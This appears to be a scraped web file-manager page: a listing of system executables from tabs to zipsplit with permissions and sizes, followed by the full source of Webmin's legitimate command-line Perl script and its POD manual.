-rwxr-xr-x
systemd-umount
42.09
KB
-rwxr-xr-x
tabs
13.99
KB
-rwxr-xr-x
tac
38.18
KB
-rwxr-xr-x
tail
66.24
KB
-rwxr-xr-x
tasksel
18.47
KB
-rwxr-xr-x
taskset
30.08
KB
-rwxr-xr-x
tbl
126.2
KB
-rwxr-xr-x
tclsh8.6
5.99
KB
-rwxr-xr-x
tee
34.21
KB
-rwxr-xr-x
telnet
108.42
KB
-rwxr-xr-x
telnet.netkit
108.42
KB
-rwxr-xr-x
test
46.18
KB
-rwxr-xr-x
tic
82.11
KB
-rwxr-xr-x
time
14.38
KB
-rwxr-xr-x
timed-read
306
B
-rwxr-xr-x
timed-run
280
B
-rwxr-xr-x
timedatectl
22.07
KB
-rwxr-xr-x
timeout
38.63
KB
-rwxr-xr-x
tknewsbiff
11.12
KB
-rwxr-xr-x
tkpasswd
16.18
KB
-rwxr-xr-x
tload
14.09
KB
-rwxr-xr-x
toe
13.99
KB
-rwxr-xr-x
top
105.77
KB
-rwxr-xr-x
touch
86.21
KB
-rwxr-xr-x
tput
18.02
KB
-rwxr-xr-x
tr
46.18
KB
-rwxr-xr-x
tracepath
14.01
KB
-rwxr-xr-x
traceroute6
18.02
KB
-rwsr-xr-x
traceroute6.iputils
18.02
KB
-rwsr-xr-x
troff
719.34
KB
-rwxr-xr-x
truncate
38.18
KB
-rwxr-xr-x
tset
22
KB
-rwxr-xr-x
tsort
34.18
KB
-rwxr-xr-x
tty
30.18
KB
-rwxr-xr-x
tzselect
15.04
KB
-rwxr-xr-x
ua
442
B
-rwxr-xr-x
ubuntu-advantage
442
B
-rwxr-xr-x
ubuntu-distro-info
18.59
KB
-rwxr-xr-x
ubuntu-support-status
7.84
KB
-rwxr-xr-x
ucf
39.73
KB
-rwxr-xr-x
ucfq
18.91
KB
-rwxr-xr-x
ucfr
10.47
KB
-rwxr-xr-x
udisksctl
54.07
KB
-rwxr-xr-x
ul
14.01
KB
-rwxr-xr-x
unace
30.02
KB
-rwxr-xr-x
unattended-upgrade
82.55
KB
-rwxr-xr-x
unattended-upgrades
82.55
KB
-rwxr-xr-x
unbuffer
643
B
-rwxr-xr-x
unexpand
38.21
KB
-rwxr-xr-x
unicode_stop
530
B
-rwxr-xr-x
uniq
42.21
KB
-rwxr-xr-x
unlink
30.18
KB
-rwxr-xr-x
unlzma
74.36
KB
-rwxr-xr-x
unmkinitramfs
2.94
KB
-rwxr-xr-x
unrar
295.09
KB
-rwxr-xr-x
unrar-nonfree
295.09
KB
-rwxr-xr-x
unshar
113.41
KB
-rwxr-xr-x
unshare
18.27
KB
-rwxr-xr-x
unxz
74.36
KB
-rwxr-xr-x
unzip
174.13
KB
-rwxr-xr-x
unzipsfx
78.12
KB
-rwxr-xr-x
update-alternatives
46.01
KB
-rwxr-xr-x
update-desktop-database
22.07
KB
-rwxr-xr-x
update-mime-database
50.19
KB
-rwxr-xr-x
updatedb
46.08
KB
-rwxr-xr-x
updatedb.mlocate
46.08
KB
-rwxr-xr-x
uptime
10.07
KB
-rwxr-xr-x
usb-devices
4.12
KB
-rwxr-xr-x
usbhid-dump
22.08
KB
-rwxr-xr-x
users
34.18
KB
-rwxr-xr-x
utmpdump
22.07
KB
-rwxr-xr-x
uudecode
117
KB
-rwxr-xr-x
uudeview
30.14
KB
-rwxr-xr-x
uuencode
113
KB
-rwxr-xr-x
uuenview
26.02
KB
-rwxr-xr-x
uuidgen
14.07
KB
-rwxr-xr-x
uuidparse
34.08
KB
-rwxr-xr-x
validate-json
6.63
KB
-rwxr-xr-x
vi
2.55
MB
-rwxr-xr-x
view
2.55
MB
-rwxr-xr-x
viewres
26.96
KB
-rwxr-xr-x
vim
2.55
MB
-rwxr-xr-x
vim.basic
2.55
MB
-rwxr-xr-x
vim.tiny
1.06
MB
-rwxr-xr-x
vimdiff
2.55
MB
-rwxr-xr-x
vimtutor
2.05
KB
-rwxr-xr-x
vmstat
34.09
KB
-rwxr-xr-x
volname
9.99
KB
-rwxr-xr-x
w
18.07
KB
-rwxr-xr-x
w.procps
18.07
KB
-rwxr-xr-x
wall
30.08
KB
-rwxr-sr-x
watch
22.41
KB
-rwxr-xr-x
watchgnupg
13.99
KB
-rwxr-xr-x
wc
42.19
KB
-rwxr-xr-x
webmin
14.57
KB
-rwxr-xr-x
wget
487.56
KB
-rwxr-xr-x
whatis
46.98
KB
-rwxr-xr-x
whereis
26.51
KB
-rwxr-xr-x
which
946
B
-rwxr-xr-x
who
50.21
KB
-rwxr-xr-x
whoami
30.18
KB
-rwxr-xr-x
word-list-compress
9.99
KB
-rwxr-xr-x
write
13.99
KB
-rwxr-sr-x
x86_64
18.34
KB
-rwxr-xr-x
x86_64-linux-gnu-cpp
1022.94
KB
-rwxr-xr-x
x86_64-linux-gnu-cpp-7
1022.94
KB
-rwxr-xr-x
xargs
70.21
KB
-rwxr-xr-x
xauth
50.81
KB
-rwxr-xr-x
xdg-user-dir
234
B
-rwxr-xr-x
xdg-user-dirs-update
18.07
KB
-rwxr-xr-x
xdpyinfo
34.76
KB
-rwxr-xr-x
xdriinfo
9.99
KB
-rwxr-xr-x
xev
30.48
KB
-rwxr-xr-x
xfd
35.76
KB
-rwxr-xr-x
xfontsel
43.6
KB
-rwxr-xr-x
xkibitz
4.75
KB
-rwxr-xr-x
xkill
13.99
KB
-rwxr-xr-x
xlsatoms
9.99
KB
-rwxr-xr-x
xlsclients
14
KB
-rwxr-xr-x
xlsfonts
18.09
KB
-rwxr-xr-x
xmessage
22.88
KB
-rwxr-xr-x
xprop
40.29
KB
-rwxr-xr-x
xpstat
6.45
KB
-rwxr-xr-x
xsubpp
5.04
KB
-rwxr-xr-x
xvinfo
13.99
KB
-rwxr-xr-x
xwininfo
46.08
KB
-rwxr-xr-x
xxd
18.12
KB
-rwxr-xr-x
xz
74.36
KB
-rwxr-xr-x
xzcat
74.36
KB
-rwxr-xr-x
xzcmp
6.48
KB
-rwxr-xr-x
xzdiff
6.48
KB
-rwxr-xr-x
xzegrep
5.76
KB
-rwxr-xr-x
xzfgrep
5.76
KB
-rwxr-xr-x
xzgrep
5.76
KB
-rwxr-xr-x
xzless
1.76
KB
-rwxr-xr-x
xzmore
2.11
KB
-rwxr-xr-x
yelp
54.07
KB
-rwxr-xr-x
yes
30.18
KB
-rwxr-xr-x
zdump
18.05
KB
-rwxr-xr-x
zip
211.19
KB
-rwxr-xr-x
zipcloak
91.62
KB
-rwxr-xr-x
zipdetails
47.36
KB
-rwxr-xr-x
zipgrep
2.88
KB
-rwxr-xr-x
zipinfo
174.13
KB
-rwxr-xr-x
zipnote
87.39
KB
-rwxr-xr-x
zipsplit
91.39
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : webmin
#!/usr/bin/env perl # Webmin CLI - Allows performing a variety of common Webmin-related # functions on the command line. use strict; use warnings; BEGIN { $Pod::Usage::Formatter = 'Pod::Text::Color'; } use 5.010; # Version in CentOS 6 use Getopt::Long qw(:config permute pass_through); use Pod::Usage; use Term::ANSIColor qw(:constants); use File::Spec; use File::Basename; my $a0 = $ARGV[0]; sub main { my ( %opt, $subcmd ); GetOptions( 'help|h' => \$opt{'help'}, 'config|c=s' => \$opt{'config'}, 'list-commands|l' => \$opt{'list'}, 'describe|d' => \$opt{'describe'}, 'man|m' => \$opt{'man'}, 'version|v' => \$opt{'version'}, 'versions' => \$opt{'versions'}, '<>' => sub { # Handle unrecognized options, inc. subcommands. my($arg) = @_; if ($arg =~ m{^-}) { say "Usage error: Unknown option $arg."; pod2usage(0); } else { # It must be a subcommand. $subcmd = $arg; die "!FINISH"; } } ); $opt{'config'} ||= "/etc/webmin"; $opt{'commands'} = $a0; my @remain = @ARGV; # List commands? if ($opt{'list'}) { list_commands(\%opt); exit 0; } elsif ($opt{'version'} || $opt{'versions'}) { # Load libs my $root = root($opt{'config'}); my $ver_checked = sub { my ($ver_remote, $ver_curr) = @_; if ($ver_remote && $ver_curr && compare_version_numbers($ver_remote, $ver_curr) > 0 ) { return (BRIGHT_RED, $ver_curr, RESET, DARK, " (" . RESET, BRIGHT_GREEN, $ver_remote, RESET, DARK . " is available)", RESET); } else { return GREEN, $ver_curr, RESET; } }; my $print_mod_vers = sub { my ($module_type, $modules_list, $prod_root, $prod_ver, $versions_remote_local) = @_; my @minfo; if (ref($modules_list)) { my $head; my @modules_list = sort(@{$modules_list}); foreach my $mod (@modules_list) { my %mod_info; read_file($mod, \%mod_info); my $mod_ver = $mod_info{'version_actual'} || $mod_info{'version'}; my $mod_desc = $mod_info{'desc'}; if ($mod_ver && $prod_ver && $mod_desc && $prod_ver !~ /^$mod_ver/) { say CYAN, " $module_type: ", RESET if (!$head++); my ($mod_dir) = $mod =~ m/$prod_root\/(.*?)\//; push(@minfo, {'desc' => $mod_desc, 'ver' => $mod_ver, 'dir' => $mod_dir}); } } @minfo = sort { $a->{'desc'} cmp $b->{'desc'} } @minfo; foreach my $mod (@minfo) { say " $mod->{'desc'}: " , &$ver_checked($versions_remote_local->{$mod->{'dir'}}, $mod->{'ver'}), DARK " [$mod->{'dir'}]", RESET; } } }; if ($root && -d $root) { require("$root/web-lib-funcs.pl"); # Try to get remote versions first my %versions_remote; if ($opt{'versions'}) { my ($latest_known_versions_remote, $latest_known_versions_remote_error); http_download("virtualmin.com", 443, '/software-latest', \$latest_known_versions_remote, \$latest_known_versions_remote_error, undef, 1, undef, undef, 5); if ($latest_known_versions_remote && !$latest_known_versions_remote_error) { %versions_remote = map{split /=/, $_} (split(/\n/, $latest_known_versions_remote)); } elsif ($latest_known_versions_remote_error) { say BRIGHT_YELLOW, "Warning: ", RESET, "Cannot fetch remote packages versions list - $latest_known_versions_remote_error"; } } # Get Webmin version installed my $ver1 = "$root/version"; my $ver2 = "$opt{'config'}/version"; my $ver = read_file_contents($ver1) || read_file_contents($ver2); my $verrel_file = "$root/release"; my $verrel = -r $verrel_file ? read_file_contents($verrel_file) : ""; if ($verrel) { $verrel = ":@{[trim($verrel)]}"; } $ver = trim($ver); if ($ver) { if ($opt{'version'}) { say "$ver$verrel"; exit 0; } else { say CYAN, "Webmin: ", RESET, &$ver_checked($versions_remote{'webmin'}, "$ver$verrel"), DARK " [$root]", RESET; } } else { say RED, "Error: ", RESET, "Cannot determine Webmin version"; exit 1; } # Get other Webmin themes/modules versions if available my ($dir, @themes, @mods); if (opendir($dir, $root)) { while (my $file = readdir($dir)) { my $theme_info_file = "$root/$file/theme.info"; push(@themes, $theme_info_file) if (-r $theme_info_file); my $mod_info_file = "$root/$file/module.info"; push(@mods, $mod_info_file) if (-r $mod_info_file); } } closedir($dir); &$print_mod_vers('Themes', \@themes, $root, $ver, \%versions_remote); &$print_mod_vers('Modules', \@mods, $root, $ver, \%versions_remote); # Check for Usermin my $wmumconfig = "$opt{'config'}/usermin/config"; if (-r $wmumconfig) { my %wmumconfig; read_file($wmumconfig, \%wmumconfig); # Usermin config dir $wmumconfig = $wmumconfig{'usermin_dir'}; if ($wmumconfig) { my %uminiserv; read_file("$wmumconfig/miniserv.conf", \%uminiserv); my $uroot = $uminiserv{'root'}; # Get Usermin version installed if ($uroot && -d $uroot) { my $uver1 = "$uroot/version"; my $uver2 = "$wmumconfig/version"; my $uver = read_file_contents($uver1) || read_file_contents($uver2); my $uverrel_file = "$uroot/release"; my $uverrel = -r $uverrel_file ? read_file_contents($uverrel_file) : ""; if ($uverrel) { $uverrel = ":@{[trim($uverrel)]}"; } $uver = trim($uver) . $uverrel; if ($uver) { say CYAN, "Usermin: ", RESET, &$ver_checked($versions_remote{'usermin'}, $uver), DARK " [$uroot]", RESET; my ($udir, @uthemes, @umods); if (opendir($udir, "$uroot")) { while (my $file = readdir($udir)) { my $theme_info_file = "$uroot/$file/theme.info"; push(@uthemes, $theme_info_file) if (-r $theme_info_file); my $mod_info_file = "$uroot/$file/module.info"; push(@umods, $mod_info_file) if (-r $mod_info_file); } } closedir($udir); &$print_mod_vers('Themes', \@uthemes, $uroot, $uver, \%versions_remote); &$print_mod_vers('Modules', \@umods, $uroot, $uver, \%versions_remote); } } } } } exit 0; } elsif ($opt{'man'} || $opt{'help'} || !defined($remain[0])) { # Show the full manual page man_command(\%opt, $subcmd); exit 0; } elsif ($subcmd) { run_command( \%opt, $subcmd, \@remain ); } exit 0; } exit main( \@ARGV ) if !caller(0); # run_command - Run a subcommand # $optref is a reference to an options object passed down from global options # like --help or a --config path. sub run_command { my ( $optref, $subcmd, $remainref ) = @_; # Figure out the Webmin root directory my $root = root($optref->{'config'}); my (@commands) = list_commands($optref); if (! grep( /^$subcmd$/, @commands ) ) { say RED, "Error: ", RESET, "Command \`$subcmd\` doesn't exist", RESET; exit 1; } my $command_path = get_command_path($root, $subcmd, $optref); # Merge the options # Only handling config, right now... # XXX Should we do this with libraries instead of commands? # Maybe detect .pm for that possibility. my @allopts = ("--config", "$optref->{'config'}", @$remainref); # Run that binch system($command_path, @allopts); # Try to exit with the passed through exit code (rarely used, but # why not?) if ($? == -1) { say RED, "Error: ", RESET, "Failed to execute \`$command_path\`: $!"; exit 1; } else { exit $? >> 8; } } sub get_command_path { my ($root, $subcmd, $optref) = @_; # Check for a root-level command (in "$root/bin") my $command_path; if ($subcmd) { $command_path = File::Spec->catfile($root, 'bin', $subcmd); } else { $command_path = File::Spec->catfile($root, 'bin', 'webmin'); } my $module_name; my $command; if ( -x $command_path) { $command = $command_path; } else { # Try to extract a module name from the command # Get list of directories opendir (my $DIR, $root); my @module_dirs = grep { -d "$root/$_" } readdir($DIR); # See if any of them are a substring of $subcmd for my $dir (@module_dirs) { if (index($subcmd, $dir) == 0) { $module_name = $dir; my $barecmd = substr($subcmd, -(length($subcmd)-length($module_name)-1)); $command = File::Spec->catfile($root, $dir, 'bin', $barecmd); # Could be .pl or no extension if ( -x $command ) { last; } elsif ( -x $command . ".pl" ) { $command = $command . ".pl"; last; } } } } if ($optref->{'commands'} && $optref->{'commands'} =~ /^(status|start|stop|restart|reload|force-restart|force-reload|kill)$/) { exit system("$0 server $optref->{'commands'}"); } elsif ($command) { return $command; } else { die RED, "Unrecognized subcommand: $subcmd", RESET , "\n"; } } sub list_commands { my ($optref) = @_; my $root = root($optref->{'config'}); my @commands; # Find and list global commands for my $command (glob ("$root/bin/*")) { my ($bin, $path) = fileparse($command); if ($bin =~ "webmin") { next; } if ($optref->{'describe'}) { # Display name and description say YELLOW, "$bin", RESET; pod2usage( -verbose => 99, -sections => [ qw(DESCRIPTION) ], -input => $command, -exitval => "NOEXIT"); } else { if (wantarray) { push(@commands, $bin); } else { # Just list the names say "$bin"; } } } my @modules; # Find all module directories with something in bin for my $command (glob ("$root/*/bin/*")) { my ($bin, $path) = fileparse($command); my $module = (split /\//, $path)[-2]; if ($optref->{'describe'}) { # Display name and description say YELLOW, "$module-$bin", RESET; pod2usage( -verbose => 99, -sections => [ qw(DESCRIPTION) ], -input => $command, -exitval => "NOEXIT"); } else { if (wantarray) { push(@modules, "$module-$bin"); } else { # Just list the names say "$module-$bin"; } } } if (wantarray) { return (@commands, @modules); } } # Display either a short usage message (--help) or a full manual (--man) sub man_command { my ($optref, $subcmd) = @_; my $root = root($optref->{'config'}); my $command_path = get_command_path($root, $subcmd, $optref); $ENV{'PAGER'} ||= "more"; open(my $PAGER, "|-", "$ENV{'PAGER'}"); if ($optref->{'help'}) { pod2usage( -input => $command_path ); } else { pod2usage( -verbose => 99, -input => $command_path, -output => $PAGER); } } sub root { my ($config) = @_; open(my $CONF, "<", "$config/miniserv.conf") || die RED, "Failed to open $config/miniserv.conf", RESET , "\n"; my $root; while (<$CONF>) { if (/^root=(.*)/) { $root = $1; } } close($CONF); # Does the Webmin root exist? if ( $root ) { die "$root is not a directory. Is --config correct?\n" unless (-d $root); } else { die "Unable to determine Webmin installation directory from $ENV{'WEBMIN_CONFIG'}\n"; } return $root; } 1; =pod =head1 NAME webmin =head1 DESCRIPTION Webmin CLI command to perform many common Webmin tasks from the command line or from scripts. =head1 SYNOPSIS webmin [options] subcommand [subcommand options] =head1 OPTIONS =over =item --help, -h Print this usage summary and exit. Subcommands may also have a usage summary. =item --config <path>, -c <path> Specify the full path to the Webmin configuration directory. Defaults to C</etc/webmin>. =item --list-commands, -l List available subcommands. =item --describe, -d When listing commands, briefly describe what they do. =item --man <command>, -m <command> Display the manual page for the given subcommand. =item --version, -v Returns current Webmin version installed =item --versions Returns Webmin and other modules and themes versions installed (only those for which version is available) =back =head1 EXIT CODES 0 on success ; non-0 on error =head1 LICENSE AND COPYRIGHT Copyright 2018 Jamie Cameron <jcameron@webmin.com> Joe Cooper <joe@virtualmin.com> Ilia Rostovtsev <ilia@virtualmin.com>
Close